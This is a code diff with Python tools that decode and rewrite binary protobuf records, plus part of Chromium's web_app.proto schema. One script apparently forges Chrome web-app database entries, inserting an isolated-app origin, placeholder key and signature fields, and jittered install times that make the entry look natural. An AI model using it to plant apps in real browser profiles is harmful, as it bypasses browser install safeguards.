"""Parse a length-delimited field."""
|
||||
length, new_offset = parse_varint(data, offset)
|
||||
value = data[new_offset:new_offset + length]
|
||||
return value, new_offset + length
|
||||
|
||||
def try_parse_nested(data, depth):
|
||||
"""Try to parse data as a nested message, return True if successful."""
|
||||
try:
|
||||
# Check if data looks like a valid protobuf message
|
||||
offset = 0
|
||||
while offset < len(data):
|
||||
field_header = data[offset]
|
||||
wire_type = get_wire_type(field_header)
|
||||
if wire_type > 5: # Invalid wire type
|
||||
return False
|
||||
offset += 1
|
||||
|
||||
if wire_type == 0: # Varint
|
||||
_, offset = parse_varint(data, offset)
|
||||
elif wire_type == 1: # 64-bit
|
||||
offset += 8
|
||||
elif wire_type == 2: # Length-delimited
|
||||
length, offset = parse_varint(data, offset)
|
||||
offset += length
|
||||
elif wire_type == 5: # 32-bit
|
||||
offset += 4
|
||||
|
||||
if offset > len(data):
|
||||
return False
|
||||
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
|
||||
def parse_proto_file(file_path: str) -> Dict[str, ProtoMessage]:
|
||||
"""Parse a .proto file and return a mapping of message types."""
|
||||
messages: Dict[str, ProtoMessage] = {}
|
||||
current_message = None
|
||||
in_enum = False
|
||||
pending_field = ''
|
||||
|
||||
try:
|
||||
with open(file_path, 'r', encoding='utf-8') as f:
|
||||
content = f.read()
|
||||
except UnicodeDecodeError:
|
||||
try:
|
||||
# Try with latin-1 encoding if UTF-8 fails
|
||||
with open(file_path, 'r', encoding='latin-1') as f:
|
||||
content = f.read()
|
||||
except Exception as e:
|
||||
print(f"Error reading proto file: {e}")
|
||||
return {}
|
||||
|
||||
# First remove multi-line comments
|
||||
content = re.sub(r'/\*.*?\*/', '', content, flags=re.DOTALL)
|
||||
|
||||
# Process line by line to handle single-line comments and continuation lines
|
||||
lines = []
|
||||
continued_line = ''
|
||||
|
||||
for line in content.split('\n'):
|
||||
# Remove single-line comments
|
||||
line = re.sub(r'//.*$', '', line)
|
||||
line = line.strip()
|
||||
|
||||
if not line:
|
||||
continue
|
||||
|
||||
# Handle line continuation
|
||||
if line.endswith('\\'):
|
||||
continued_line += line[:-1] + ' '
|
||||
continue
|
||||
|
||||
# Complete the line if it was continued
|
||||
if continued_line:
|
||||
line = continued_line + line
|
||||
continued_line = ''
|
||||
|
||||
lines.append(line)
|
||||
|
||||
# Process the cleaned lines
|
||||
for line in lines:
|
||||
# Check for message start
|
||||
if line.startswith('message '):
|
||||
message_match = re.match(r'message\s+(\w+)\s*\{', line)
|
||||
if message_match:
|
||||
message_name = message_match.group(1)
|
||||
current_message = ProtoMessage(message_name)
|
||||
messages[message_name] = current_message
|
||||
in_enum = False
|
||||
pending_field = ''
|
||||
continue
|
||||
|
||||
# Check for message end
|
||||
if line == '}':
|
||||
if in_enum:
|
||||
in_enum = False
|
||||
continue
|
||||
current_message = None
|
||||
pending_field = ''
|
||||
continue
|
||||
|
||||
# Skip if not in a message
|
||||
if not current_message:
|
||||
continue
|
||||
|
||||
# Handle reserved statements - complete statement on one line
|
||||
if 'reserved' in line and ';' in line:
|
||||
numbers = re.findall(r'\b(\d+)\b(?!\s*-)', line)
|
||||
if numbers:
|
||||
for num in numbers:
|
||||
current_message.reserved_fields.add(int(num))
|
||||
continue
|
||||
|
||||
# Handle enum blocks
|
||||
if line.startswith('enum '):
|
||||
in_enum = True
|
||||
continue
|
||||
|
||||
if in_enum:
|
||||
continue
|
||||
|
||||
# Accumulate multi-line field definitions
|
||||
if pending_field:
|
||||
line = pending_field + ' ' + line
|
||||
pending_field = ''
|
||||
|
||||
# Check if this is a partial field definition
|
||||
if not line.endswith(';'):
|
||||
pending_field = line
|
||||
continue
|
||||
|
||||
# Try to parse field definition
|
||||
if not in_enum: # Add this check to be explicit
|
||||
field_match = re.match(
|
||||
r'''^\s* # Leading whitespace
|
||||
(reserved|optional|required|repeated)?\s+ # Field modifier (made capturing)
|
||||
([\w\.\[\]]+)\s+ # Type name
|
||||
(\w+)\s*=\s* # Field name
|
||||
(\d+) # Field number
|
||||
(?:\s*\[.*\])?;? # Optional attributes
|
||||
''', line, re.VERBOSE)
|
||||
|
||||
if field_match:
|
||||
modifier = field_match.group(1) or ''
|
||||
field_type = field_match.group(2)
|
||||
field_name = field_match.group(3)
|
||||
field_number = int(field_match.group(4))
|
||||
field = ProtoField(field_name, field_number, field_type)
|
||||
current_message.fields[field_number] = field
|
||||
elif not line.startswith(('enum', 'reserved', '}')):
|
||||
print(f" Warning: Could not parse field line: {line!r}")
|
||||
print(f" Current state: in_enum={in_enum}, pending_field={pending_field!r}")
|
||||
|
||||
for msg_name, msg in messages.items():
|
||||
# Find the highest field number to know our range
|
||||
max_field = max(msg.fields.keys()) if msg.fields else 0
|
||||
for field_num in range(1, max_field + 1):
|
||||
if field_num in msg.fields:
|
||||
field = msg.fields[field_num]
|
||||
|
||||
return messages
|
||||
|
||||
def get_field_name(field_number: int, message_type: str, proto_types: Dict[str, ProtoMessage]) -> str:
|
||||
"""Get the field name for a given field number and message type."""
|
||||
if message_type in proto_types:
|
||||
message = proto_types[message_type]
|
||||
if field_number in message.fields:
|
||||
return message.fields[field_number].name
|
||||
return str(field_number)
|
||||
|
||||
def parse_protobuf(data, offset=0, depth=0, max_length=None, field_path=None,
|
||||
proto_types=None, current_type=None, field_names=None):
|
||||
"""Recursively parse protobuf binary data."""
|
||||
indent = ' ' * depth
|
||||
start_offset = offset
|
||||
field_path = field_path or []
|
||||
field_names = field_names or [] # Track field names through recursion
|
||||
|
||||
if max_length is None:
|
||||
max_length = len(data) - offset
|
||||
|
||||
if depth == 0 and proto_types and current_type in proto_types:
|
||||
print(f"\nParsing {current_type} message")
|
||||
|
||||
while offset < start_offset + max_length:
|
||||
if offset >= len(data):
|
||||
break
|
||||
|
||||
field_header = data[offset]
|
||||
wire_type = get_wire_type(field_header)
|
||||
field_number = get_field_number(data, offset)
|
||||
|
||||
# Get field name if type information is available
|
||||
if proto_types and current_type:
|
||||
field_name = get_field_name(field_number, current_type, proto_types)
|
||||
# Try to get the type of the nested message if it's a nested field
|
||||
nested_type = None
|
||||
if current_type in proto_types:
|
||||
message = proto_types[current_type]
|
||||
if field_number in message.fields:
|
||||
nested_type = message.fields[field_number].type_name
|
||||
else:
|
||||
field_name = str(field_number)
|
||||
nested_type = None
|
||||
|
||||
# Create the field path string using the tracked field names
|
||||
field_str = '.'.join(field_names + [field_name])
|
||||
|
||||
# Skip past the field number varint
|
||||
_, offset = parse_varint(data, offset)
|
||||
|
||||
print(f"{indent}Field {field_str} (Wire Type {wire_type}) at offset 0x{offset-1:04x}:")
|
||||
|
||||
if wire_type == 0: # Varint
|
||||
value, offset = parse_varint(data, offset)
|
||||
print(f"{indent} Varint: {value} (0x{value:x})")
|
||||
|
||||
elif wire_type == 1: # 64-bit
|
||||
value = int.from_bytes(data[offset:offset + 8], 'little')
|
||||
# If field 16, treat as timestamp
|
||||
if field_number == 16:
|
||||
timestamp_seconds = value // 1000000 # Convert microseconds to seconds
|
||||
from datetime import datetime, timezone
|
||||
dt = datetime.fromtimestamp(timestamp_seconds, timezone.utc)
|
||||
microseconds = value % 1000000
|
||||
print(f"{indent} 64-bit timestamp: {dt.strftime('%Y-%m-%d %H:%M:%S')}.{microseconds:06d} UTC")
|
||||
else:
|
||||
print(f"{indent} 64-bit: {value} (0x{value:x})")
|
||||
offset += 8
|
||||
|
||||
elif wire_type == 2: # Length-delimited
|
||||
length, new_offset = parse_varint(data, offset)
|
||||
print(f"{indent} Length: {length} bytes")
|
||||
value = data[new_offset:new_offset + length]
|
||||
|
||||
# First try to parse as string if it looks printable
|
||||
if is_printable_ascii(value):
|
||||
try:
|
||||
string_value = value.decode('utf-8')
|
||||
print(f"{indent} String: {string_value!r}")
|
||||
offset = new_offset + length
|
||||
continue
|
||||
except UnicodeDecodeError:
|
||||
pass
|
||||
|
||||
# Then try to parse as nested message
|
||||
if try_parse_nested(value, depth + 1):
|
||||
print(f"{indent} Nested message:")
|
||||
parse_protobuf(value, 0, depth + 1, length,
|
||||
field_path + [field_number],
|
||||
proto_types,
|
||||
nested_type,
|
||||
field_names + [field_name]) # Pass the current field name
|
||||
else:
|
||||
# If not a nested message, show raw bytes
|
||||
print(f"{indent} {format_bytes(value)}")
|
||||
|
||||
offset = new_offset + length
|
||||
|
||||
elif wire_type == 5: # 32-bit
|
||||
value = int.from_bytes(data[offset:offset + 4], 'little')
|
||||
print(f"{indent} 32-bit: {value} (0x{value:x})")
|
||||
offset += 4
|
||||
|
||||
else:
|
||||
print(f"{indent} Unknown wire type {wire_type}")
|
||||
return
|
||||
|
||||
def main():
|
||||
import sys
|
||||
import argparse
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('binary_file', help='The binary protobuf file to parse')
|
||||
parser.add_argument('--proto', default='web_app.proto', help='Path to .proto file with message definitions')
|
||||
parser.add_argument('--type', default='WebAppProto', help='Root message type name')
|
||||
args = parser.parse_args()
|
||||
|
||||
proto_types = None
|
||||
if args.proto:
|
||||
proto_types = parse_proto_file(args.proto)
|
||||
|
||||
with open(args.binary_file, 'rb') as f:
|
||||
data = f.read()
|
||||
|
||||
print(f"Parsing {len(data)} bytes of protobuf data:")
|
||||
parse_protobuf(data, proto_types=proto_types, current_type=args.type)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,379 @@
|
||||
import re
|
||||
from typing import Dict, List, Optional, Tuple, Any, Union
|
||||
from dataclasses import dataclass
|
||||
from datetime import datetime
|
||||
import random
|
||||
|
||||
@dataclass
|
||||
class ProtobufValue:
|
||||
wire_type: int
|
||||
value: Any
|
||||
nested_message: Optional['ProtobufMessage'] = None
|
||||
field_path: List[int] = None
|
||||
|
||||
def __post_init__(self):
|
||||
if self.field_path is None:
|
||||
self.field_path = []
|
||||
|
||||
class ProtobufMessage:
|
||||
def __init__(self, parent_path: List[int] = None):
|
||||
self.fields: Dict[int, List[ProtobufValue]] = {}
|
||||
self.parent_path = parent_path or []
|
||||
|
||||
def add_field(self, field_number: int, wire_type: int, value: Any, nested_message: Optional['ProtobufMessage'] = None):
|
||||
if field_number not in self.fields:
|
||||
self.fields[field_number] = []
|
||||
|
||||
# Create full field path by combining parent path with current field number
|
||||
field_path = self.parent_path + [field_number]
|
||||
self.fields[field_number].append(ProtobufValue(wire_type, value, nested_message, field_path))
|
||||
|
||||
def get_field(self, field_path: Union[int, List[int]]) -> List[ProtobufValue]:
|
||||
"""Get field by number or full path."""
|
||||
if isinstance(field_path, int):
|
||||
return self.fields.get(field_path, [])
|
||||
|
||||
if not field_path:
|
||||
return []
|
||||
|
||||
# Get first level field
|
||||
current_fields = self.fields.get(field_path[0], [])
|
||||
|
||||
# If we want deeper fields, traverse nested messages
|
||||
if len(field_path) > 1:
|
||||
result = []
|
||||
for field in current_fields:
|
||||
if field.nested_message:
|
||||
nested_results = field.nested_message.get_field(field_path[1:])
|
||||
result.extend(nested_results)
|
||||
return result
|
||||
|
||||
return current_fields
|
||||
|
||||
def serialize(self) -> bytes:
|
||||
"""Serialize the message back to protobuf wire format."""
|
||||
result = bytearray()
|
||||
for field_number, values in sorted(self.fields.items()):
|
||||
for value in values:
|
||||
# Encode field header (field number and wire type)
|
||||
field_header = (field_number << 3) | value.wire_type
|
||||
result.extend(encode_varint(field_header))
|
||||
|
||||
# Encode field value based on wire type
|
||||
if value.wire_type == 0: # Varint
|
||||
result.extend(encode_varint(value.value))
|
||||
elif value.wire_type == 1: # 64-bit
|
||||
result.extend(value.value.to_bytes(8, 'little'))
|
||||
elif value.wire_type == 2: # Length-delimited
|
||||
# Always use the original bytes if we have them
|
||||
if value.value is not None:
|
||||
serialized = value.value
|
||||
elif value.nested_message:
|
||||
serialized = value.nested_message.serialize()
|
||||
else:
|
||||
raise ValueError("Length-delimited field has no value or nested message")
|
||||
|
||||
result.extend(encode_varint(len(serialized)))
|
||||
result.extend(serialized)
|
||||
elif value.wire_type == 5: # 32-bit
|
||||
result.extend(value.value.to_bytes(4, 'little'))
|
||||
else:
|
||||
raise ValueError(f"Invalid wire type {value.wire_type}")
|
||||
return bytes(result)
|
||||
|
||||
def format_structure(self, indent: str = "") -> List[str]:
|
||||
"""Format the message structure recursively."""
|
||||
lines = []
|
||||
for field_number, values in sorted(self.fields.items()):
|
||||
for value in values:
|
||||
path_str = '.'.join(str(n) for n in value.field_path)
|
||||
if value.nested_message:
|
||||
lines.append(f"{indent}Field path {path_str}: <nested message>")
|
||||
nested_lines = value.nested_message.format_structure(indent + " ")
|
||||
lines.extend(nested_lines)
|
||||
else:
|
||||
# Try to decode bytes for display
|
||||
display_value = value.value
|
||||
if isinstance(display_value, bytes):
|
||||
try:
|
||||
display_value = display_value.decode('utf-8')
|
||||
except UnicodeDecodeError:
|
||||
display_value = value.value # Keep as bytes if can't decode
|
||||
lines.append(f"{indent}Field path {path_str}: {display_value}")
|
||||
return lines
|
||||
|
||||
def update_field(self, field_path: List[int], value: Any, transform: Optional[callable] = None):
|
||||
"""Update a field value by its path."""
|
||||
if not field_path:
|
||||
return
|
||||
|
||||
# Get the first level field
|
||||
field_number = field_path[0]
|
||||
fields = self.fields.get(field_number, [])
|
||||
|
||||
if len(field_path) == 1:
|
||||
# Direct field update
|
||||
for field in fields:
|
||||
if transform:
|
||||
field.value = transform(value, field.value)
|
||||
else:
|
||||
field.value = value
|
||||
else:
|
||||
# Nested field update
|
||||
for field in fields:
|
||||
if field.nested_message:
|
||||
field.nested_message.update_field(field_path[1:], value, transform)
|
||||
|
||||
def encode_varint(value: int) -> bytes:
|
||||
"""Encode an integer as a varint."""
|
||||
result = []
|
||||
while value > 0x7F:
|
||||
result.append((value & 0x7F) | 0x80)
|
||||
value >>= 7
|
||||
result.append(value & 0x7F)
|
||||
return bytes(result)
|
||||
|
||||
def parse_varint(data, offset):
|
||||
"""Parse a varint from the data starting at offset."""
|
||||
result = 0
|
||||
shift = 0
|
||||
while True:
|
||||
byte = data[offset]
|
||||
result |= (byte & 0x7F) << shift
|
||||
offset += 1
|
||||
if not (byte & 0x80):
|
||||
break
|
||||
shift += 7
|
||||
return result, offset
|
||||
|
||||
def get_wire_type(byte):
|
||||
"""Extract wire type from a field's first byte."""
|
||||
return byte & 0x07
|
||||
|
||||
def get_field_number(data, offset):
|
||||
"""Extract field number from a varint."""
|
||||
field_number, _ = parse_varint(data, offset)
|
||||
return field_number >> 3
|
||||
|
||||
def is_printable_ascii(data):
|
||||
"""Check if data is likely a printable ASCII string."""
|
||||
if not data:
|
||||
return False
|
||||
if data[0] < 32 or (data[0] & 0x07) <= 5:
|
||||
return False
|
||||
printable_chars = sum(32 <= b <= 126 or b in (9, 10, 13) for b in data)
|
||||
return printable_chars / len(data) > 0.9
|
||||
|
||||
def try_parse_nested(data, depth):
|
||||
"""Try to parse data as a nested message, return True if successful."""
|
||||
try:
|
||||
offset = 0
|
||||
while offset < len(data):
|
||||
field_header = data[offset]
|
||||
wire_type = get_wire_type(field_header)
|
||||
if wire_type > 5:
|
||||
return False
|
||||
offset += 1
|
||||
|
||||
if wire_type == 0:
|
||||
_, offset = parse_varint(data, offset)
|
||||
elif wire_type == 1:
|
||||
offset += 8
|
||||
elif wire_type == 2:
|
||||
length, offset = parse_varint(data, offset)
|
||||
offset += length
|
||||
elif wire_type == 5:
|
||||
offset += 4
|
||||
|
||||
if offset > len(data):
|
||||
return False
|
||||
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
|
||||
def parse_protobuf(data: bytes, offset: int = 0, max_length: Optional[int] = None,
|
||||
parent_path: List[int] = None) -> ProtobufMessage:
|
||||
"""Parse protobuf binary data into a ProtobufMessage object."""
|
||||
message = ProtobufMessage(parent_path)
|
||||
start_offset = offset
|
||||
|
||||
if max_length is None:
|
||||
max_length = len(data) - offset
|
||||
|
||||
while offset < start_offset + max_length:
|
||||
if offset >= len(data):
|
||||
break
|
||||
|
||||
field_header = data[offset]
|
||||
wire_type = get_wire_type(field_header)
|
||||
field_number = get_field_number(data, offset)
|
||||
|
||||
# Skip past field header
|
||||
_, offset = parse_varint(data, offset)
|
||||
|
||||
# Calculate current field path
|
||||
current_path = (parent_path or []) + [field_number]
|
||||
|
||||
if wire_type == 0: # Varint
|
||||
value, offset = parse_varint(data, offset)
|
||||
message.add_field(field_number, wire_type, value)
|
||||
|
||||
elif wire_type == 1: # 64-bit
|
||||
value = int.from_bytes(data[offset:offset + 8], 'little')
|
||||
message.add_field(field_number, wire_type, value)
|
||||
offset += 8
|
||||
|
||||
elif wire_type == 2: # Length-delimited
|
||||
length, new_offset = parse_varint(data, offset)
|
||||
value = data[new_offset:new_offset + length]
|
||||
|
||||
if try_parse_nested(value, 0):
|
||||
nested_msg = parse_protobuf(value, 0, length, current_path)
|
||||
# Store only the nested message, not the raw bytes
|
||||
message.add_field(field_number, wire_type, None, nested_msg)
|
||||
else:
|
||||
# Try to decode as string if it looks like one
|
||||
if is_printable_ascii(value):
|
||||
try:
|
||||
value = value.decode('utf-8')
|
||||
except UnicodeDecodeError:
|
||||
pass
|
||||
message.add_field(field_number, wire_type, value)
|
||||
|
||||
offset = new_offset + length
|
||||
|
||||
elif wire_type == 3: # Start group (deprecated in proto3)
|
||||
print(f"Warning: Start group wire type (3) encountered at offset {offset}. This is deprecated.")
|
||||
group_level = 1
|
||||
while group_level > 0 and offset < len(data):
|
||||
next_header = data[offset]
|
||||
next_wire_type = get_wire_type(next_header)
|
||||
if next_wire_type == 3:
|
||||
group_level += 1
|
||||
elif next_wire_type == 4:
|
||||
group_level -= 1
|
||||
offset += 1
|
||||
|
||||
elif wire_type == 4: # End group (deprecated in proto3)
|
||||
print(f"Warning: End group wire type (4) encountered at offset {offset}. This is deprecated.")
|
||||
break
|
||||
|
||||
elif wire_type == 5: # 32-bit
|
||||
value = int.from_bytes(data[offset:offset + 4], 'little')
|
||||
message.add_field(field_number, wire_type, value)
|
||||
offset += 4
|
||||
|
||||
elif wire_type in (6, 7): # Reserved for future use
|
||||
raise ValueError(f"Wire type {wire_type} is reserved for future use")
|
||||
|
||||
else:
|
||||
raise ValueError(f"Invalid wire type {wire_type}")
|
||||
|
||||
return message
|
||||
|
||||
def update_with_origin(origin: str, old_value: Any) -> bytes:
|
||||
"""Transform function to replace origin in URL while keeping the path."""
|
||||
if isinstance(old_value, bytes):
|
||||
try:
|
||||
# Decode bytes to string for manipulation
|
||||
old_str = old_value.decode('utf-8')
|
||||
parts = old_str.split('/')
|
||||
if len(parts) >= 4:
|
||||
# Keep everything after the host part
|
||||
path = '/'.join(parts[3:])
|
||||
new_str = f"{origin}/{path}"
|
||||
# Return as bytes since that's our storage format
|
||||
return new_str.encode('utf-8')
|
||||
except UnicodeDecodeError:
|
||||
pass
|
||||
return f"{origin}/".encode('utf-8')
|
||||
|
||||
def main():
|
||||
import argparse
|
||||
import json
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('binary_file', help='The binary protobuf file to parse')
|
||||
parser.add_argument('--output', help='Output file for modified protobuf')
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
with open(args.binary_file, 'rb') as f:
|
||||
data = f.read()
|
||||
|
||||
|
||||
|
||||
# Placeholder values
|
||||
ORIGIN = "isolated-app://test-manifest-id"
|
||||
PUBLIC_KEY = "base64-encoded-test-key"
|
||||
SIGNATURE_INFO = "hex-encoded-test-signature"
|
||||
APP_NAME = "Test App"
|
||||
VERSION = "1.0.0"
|
||||
INSTALL_TIME = int(datetime.now().timestamp())
|
||||
IWA_FOLDER_NAME = "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
|
||||
|
||||
# Parse into intermediate representation
|
||||
message = parse_protobuf(data)
|
||||
|
||||
# Print original structure
|
||||
print("Original message structure:")
|
||||
for line in message.format_structure():
|
||||
print(line)
|
||||
|
||||
# Track jitter count for field 59.1.3.2
|
||||
jitter_count = 0
|
||||
def add_jitter(base_time: int, _) -> int:
|
||||
nonlocal jitter_count
|
||||
jitter_count += 1
|
||||
return base_time + jitter_count + random.randint(5, 10)
|
||||
|
||||
# Convert string values to bytes for length-delimited fields
|
||||
def to_bytes(s: str) -> bytes:
|
||||
return s.encode('utf-8')
|
||||
|
||||
# Perform field updates
|
||||
updates = [
|
||||
([1, 1], to_bytes(f"{ORIGIN}/")),
|
||||
([1, 2], to_bytes(APP_NAME)),
|
||||
([1, 5], to_bytes(f"{ORIGIN}/")),
|
||||
([1, 6, 2], ORIGIN, update_with_origin),
|
||||
([2], to_bytes(APP_NAME)),
|
||||
([6], to_bytes(f"{ORIGIN}/")),
|
||||
([10, 2], ORIGIN, update_with_origin),
|
||||
([16], INSTALL_TIME),
|
||||
([30], ORIGIN, update_with_origin),
|
||||
([49, 2], to_bytes(ORIGIN)),
|
||||
([59, 1, 3, 2], INSTALL_TIME, add_jitter),
|
||||
([59, 1, 1], to_bytes(APP_NAME)),
|
||||
([59, 5, 2], to_bytes(APP_NAME)),
|
||||
([60, 1, 1], to_bytes(IWA_FOLDER_NAME)),
|
||||
([60, 7, 1, 1, 1], to_bytes(PUBLIC_KEY)),
|
||||
([60, 7, 1, 1, 2], to_bytes(SIGNATURE_INFO)),
|
||||
([64], INSTALL_TIME),
|
||||
]
|
||||
|
||||
for field_path, value, *transform in updates:
|
||||
message.update_field(field_path, value, transform[0] if transform else None)
|
||||
|
||||
# Print updated structure
|
||||
print("\nUpdated message structure:")
|
||||
for line in message.format_structure():
|
||||
print(line)
|
||||
|
||||
# Serialize and save
|
||||
serialized = message.serialize()
|
||||
print(f"\nSerialized back to {len(serialized)} bytes")
|
||||
|
||||
if args.output:
|
||||
with open(args.output, 'wb') as f:
|
||||
f.write(serialized)
|
||||
print(f"Written to {args.output}")
|
||||
|
||||
except FileNotFoundError as e:
|
||||
print(f"Error: File not found - {e}")
|
||||
except Exception as e:
|
||||
print(f"Error: {e}")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,447 @@
|
||||
// Copyright 2018 The Chromium Authors
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
syntax = "proto2";
|
||||
|
||||
import "components/sync/protocol/web_app_specifics.proto";
|
||||
import "chrome/browser/ash/system_web_apps/types/proto/system_web_app_data.proto";
|
||||
import "chrome/browser/web_applications/proto/web_app_launch_handler.proto";
|
||||
import "chrome/browser/web_applications/proto/web_app_os_integration_state.proto";
|
||||
import "chrome/browser/web_applications/proto/web_app_install_state.proto";
|
||||
import "chrome/browser/web_applications/proto/web_app_isolation_data.proto";
|
||||
import "chrome/browser/web_applications/proto/web_app_proto_package.proto";
|
||||
import "chrome/browser/web_applications/proto/web_app_share_target.proto";
|
||||
import "chrome/browser/web_applications/proto/web_app_tab_strip.proto";
|
||||
|
||||
option optimize_for = LITE_RUNTIME;
|
||||
|
||||
// TODO(http://b/307989065) Make this web_app.proto and remove "Proto" from type
|
||||
// names.
|
||||
package web_app;
|
||||
|
||||
// A mapping between a MIME type and a set of file extensions for a file handler
|
||||
// "accept" entry. See chrome/browser/web_applications/web_app.h for details.
|
||||
message WebAppFileHandlerAcceptProto {
|
||||
optional string mimetype = 1; // Required.
|
||||
repeated string file_extensions = 2;
|
||||
}
|
||||
|
||||
// A file handler "action" associated with a set of "accept" entries, each of
|
||||
// which specifies a MIME type and corresponding set of file extensions that the
|
||||
// handler can handle. See chrome/browser/web_applications/web_app.h for
|
||||
// details.
|
||||
message WebAppFileHandlerProto {
|
||||
optional string action = 1; // Required.
|
||||
repeated WebAppFileHandlerAcceptProto accept = 2;
|
||||
repeated sync_pb.WebAppIconInfo downloaded_icons = 3;
|
||||
optional string display_name = 4;
|
||||
|
||||
// This enum should be synced with `LaunchType` in `apps::FileHandler`.
|
||||
enum LaunchType {
|
||||
UNDEFINED = 0;
|
||||
SINGLE_CLIENT = 1;
|
||||
MULTIPLE_CLIENTS = 2;
|
||||
}
|
||||
optional LaunchType launch_type = 5; // Required.
|
||||
}
|
||||
|
||||
message WebAppProtocolHandler {
|
||||
optional string protocol = 1; // Required.
|
||||
optional string url = 2; // Required.
|
||||
}
|
||||
|
||||
message WebAppUrlHandlerProto {
|
||||
optional string origin = 1; // Required.
|
||||
optional bool has_origin_wildcard = 2; // Required.
|
||||
}
|
||||
|
||||
message WebAppScopeExtensionProto {
|
||||
optional string origin = 1; // Required.
|
||||
optional bool has_origin_wildcard = 2; // Required.
|
||||
}
|
||||
|
||||
// A set to track simultaneous installs and uninstalls from multiple install
|
||||
// sources. This should stay in sync with |WebAppManagement| in
|
||||
// chrome/browser/web_applications/web_app_constants.h
|
||||
// and the WebAppManagementProto enum below.
|
||||
message SourcesProto {
|
||||
optional bool system = 1;
|
||||
optional bool policy = 2;
|
||||
optional bool web_app_store = 3;
|
||||
optional bool sync = 4;
|
||||
optional bool default = 5;
|
||||
optional bool sub_app = 6;
|
||||
optional bool kiosk = 7;
|
||||
reserved 8;
|
||||
optional bool oem = 9;
|
||||
optional bool one_drive_integration = 10;
|
||||
optional bool aps_default = 11;
|
||||
optional bool iwa_shimless_rma = 12;
|
||||
optional bool iwa_policy = 13;
|
||||
optional bool iwa_user_installed = 14;
|
||||
optional bool user_installed = 15;
|
||||
}
|
||||
|
||||
// Properties for integrating with Chrome OS.
|
||||
message ChromeOSDataProto {
|
||||
optional bool show_in_launcher = 1;
|
||||
optional bool show_in_search_and_shelf = 2;
|
||||
optional bool show_in_management = 3;
|
||||
optional bool is_disabled = 4;
|
||||
optional bool oem_installed = 5;
|
||||
optional bool handles_file_open_intents = 6;
|
||||
reserved 7;
|
||||
}
|
||||
|
||||
message ClientDataProto {
|
||||
optional ash.SystemWebAppDataProto system_web_app_data = 1;
|
||||
}
|
||||
|
||||
// Properties for a WebApp's shortcuts menu item.
|
||||
message WebAppShortcutsMenuItemInfoProto {
|
||||
optional string name = 1; // Required.
|
||||
optional string url = 2; // Required.
|
||||
repeated sync_pb.WebAppIconInfo shortcut_manifest_icons = 3;
|
||||
repeated sync_pb.WebAppIconInfo shortcut_manifest_icons_maskable = 4;
|
||||
repeated sync_pb.WebAppIconInfo shortcut_manifest_icons_monochrome = 5;
|
||||
}
|
||||
|
||||
// List of icon sizes downloaded to disk for a shortcuts menu item.
|
||||
message DownloadedShortcutsMenuIconSizesProto {
|
||||
repeated int32 icon_sizes = 1;
|
||||
repeated int32 icon_sizes_maskable = 2;
|
||||
repeated int32 icon_sizes_monochrome = 3;
|
||||
}
|
||||
|
||||
message WebAppPermissionsPolicy {
|
||||
optional string feature = 1;
|
||||
repeated string allowed_origins = 2;
|
||||
optional bool matches_all_origins = 3;
|
||||
optional bool matches_opaque_src = 4;
|
||||
}
|
||||
|
||||
// This enum should be synced with |WebAppManagement| in
|
||||
// chrome/browser/web_applications/web_app_constants.h as well as
|
||||
// with the SourcesProto message defined above.
|
||||
enum WebAppManagementProto {
|
||||
WEBAPPMANAGEMENT_UNSPECIFIED = 0;
|
||||
SYSTEM = 1;
|
||||
POLICY = 2;
|
||||
SUBAPP = 3;
|
||||
WEBAPPSTORE = 4;
|
||||
SYNC = 5;
|
||||
DEFAULT = 6;
|
||||
KIOSK = 7;
|
||||
reserved 8;
|
||||
OEM = 9;
|
||||
ONEDRIVEINTEGRATION = 10;
|
||||
APS_DEFAULT = 11;
|
||||
IWA_SHIMLESS_RMA = 12;
|
||||
IWA_POLICY = 13;
|
||||
IWA_USER_INSTALLED = 14;
|
||||
USER_INSTALLED = 15;
|
||||
}
|
||||
|
||||
// This stores data per-external-WebAppManagement::Type, as each installation
|
||||
// manager can have different installation configurations for the same web app.
|
||||
message ManagementToExternalConfigInfo {
|
||||
optional WebAppManagementProto management = 1;
|
||||
// The collection of install_urls per web_app per WebAppManagement::Type.
|
||||
repeated string install_urls = 2;
|
||||
// Stores whether the app is a placeholder app or not.
|
||||
optional bool is_placeholder = 3;
|
||||
// A list of additional terms to use when matching this app against
|
||||
// identifiers in admin policies (for shelf pinning, default file handlers,
|
||||
// etc) per web_app per WebAppManagement::Type.
|
||||
// Note that list is not meant to be an exhaustive enumeration of all possible
|
||||
// policy_ids but rather just a supplement for tricky cases.
|
||||
repeated string additional_policy_ids = 4;
|
||||
}
|
||||
|
||||
// The initiator of a sync generated icon fix time window.
|
||||
enum GeneratedIconFixSource {
|
||||
GeneratedIconFixSource_UNKNOWN = 0;
|
||||
GeneratedIconFixSource_SYNC_INSTALL = 1;
|
||||
GeneratedIconFixSource_RETROACTIVE = 2;
|
||||
GeneratedIconFixSource_MANIFEST_UPDATE = 3;
|
||||
};
|
||||
|
||||
// Represents the current state of attempts to fix broken icons from sync
|
||||
// installed web apps.
|
||||
message GeneratedIconFix {
|
||||
optional GeneratedIconFixSource source = 1; // Required.
|
||||
|
||||
optional int64 window_start_time = 2; // Required.
|
||||
|
||||
optional int64 last_attempt_time = 3;
|
||||
|
||||
optional uint32 attempt_count = 4; // Required.
|
||||
}
|
||||
|
||||
// Full WebApp object data. See detailed comments in
|
||||
// chrome/browser/web_applications/web_app.h. Note on database identities:
|
||||
// app_id is a hash of launch_url. app_id is the client tag for sync system.
|
||||
// app_id is the storage key in DataTypeStore.
|
||||
message WebAppProto {
|
||||
reserved "handle_links", "is_in_sync_install", "is_placeholder",
|
||||
"file_handler_os_integration_state",
|
||||
"run_on_os_login_os_integration_state";
|
||||
// Synced data. It is replicated across , all devices with WEB_APPS.
|
||||
//
|
||||
// |sync_data.name| and |sync_data.theme_color| are read by a device to
|
||||
// generate a placeholder icon. Any device may write new values to synced
|
||||
// |name| and |theme_color|. A random last update wins.
|
||||
optional sync_pb.WebAppSpecifics sync_data = 1; // Required.
|
||||
|
||||
// This enum should be synced with
|
||||
